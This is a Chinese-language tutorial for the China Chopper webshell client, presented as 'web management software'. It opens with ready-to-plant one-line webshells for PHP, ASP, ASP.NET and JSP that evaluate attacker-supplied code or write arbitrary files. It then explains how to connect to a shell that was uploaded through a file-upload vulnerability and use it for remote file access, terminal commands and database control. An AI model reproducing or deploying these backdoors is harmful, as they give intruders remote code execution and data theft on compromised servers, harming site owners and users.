强大的Web管理软件，中国菜刀（chopper）的使用方法和教程

在服务端运行的代码如下：
PHP:    <?php @eval($_POST['pass']);?>
ASP:    <%eval request(“pass”)%>
ASP.NET:    <%@ Page Language=”Jscript”%><%eval(Request.Item["pass"],”unsafe”);%>

JSP：<%if(request.getParameter(“f”)!=null)(new java.io.FileOutputStream(application.getRealPath(“\”)+request.getParameter(“f”))).write(request.getParameter(“t”).getBytes());%>
(注意: ASP.NET要单独一个文件或此文件也是Jscript语言)

叉叉之前在上传漏洞演示，利用burpsuite抓包改包上传最后讲到用菜刀连接，看看是怎么实现的：

在主视图中右键/添加，在弹出的对话框中输入服务端地址，连接的密码(这个必须要)，选择正确的脚本类型和语言编码，保存后即可使用文件管理，虚拟终端，数据库管理三大块功能。要是其它都没错误，那么可能就是你把语言编码选错了.

1. 文件管理：缓存下载目录，并支持离线查看缓存目录，上传下载修改文件，比ftp要好吧！

2. 虚拟终端：人性化的设计，操作方便;(输入HELP查看更多用法)

3. 数据库管理：图形界面,支持MYSQL,MSSQL,ORACLE,INFOMIX,ACCESS支持ADO方式连接的数据库。
(各种脚本条件下的数据库连接方法请点击数据库管理界面左上角处的配置按钮查看)

关于配置信息怎么填？
PHP脚本：
<T>类型</T> 类型可为MYSQL,MSSQL,ORACLE,INFOMIX中的一种
<H>主机地址<H> 主机地址可为机器名或IP地址，如localhost
<U>数据库用户</U> 连接数据库的用户名，如root
<P>数据库密码</P> 连接数据库的密码，如123455
ASP和ASP.NET脚本：
<T>类型</T> 类型只能填ADO
<C>ADO配置信息</C>
ADO连接各种数据库的方式不一样。如MSSQL的配置信息为
Driver={Sql Server};Server=(local);Database=master;Uid=sa;Pwd=123456

叉叉用本机的mysql来演示：

4. 网站蜘蛛功能：织出一张网站的目录结构。下载的列表文件存在桌面，右键菜单/载入URL列表即可以根据地址得到目录结构。

5.定时提醒当闹钟来使吧, 周期：每月/每周/每日/只一次。
6.快速启动
一些常用的快捷方式放在这里，可以指定用户身份运行程序。这部分数据是以加密存储的。
7.浏览器
地址栏输入HELP

8.自定义服务端代码

经验总结：菜刀（chopper）的强大之处远不只这些，需要我们共同研究和深入挖掘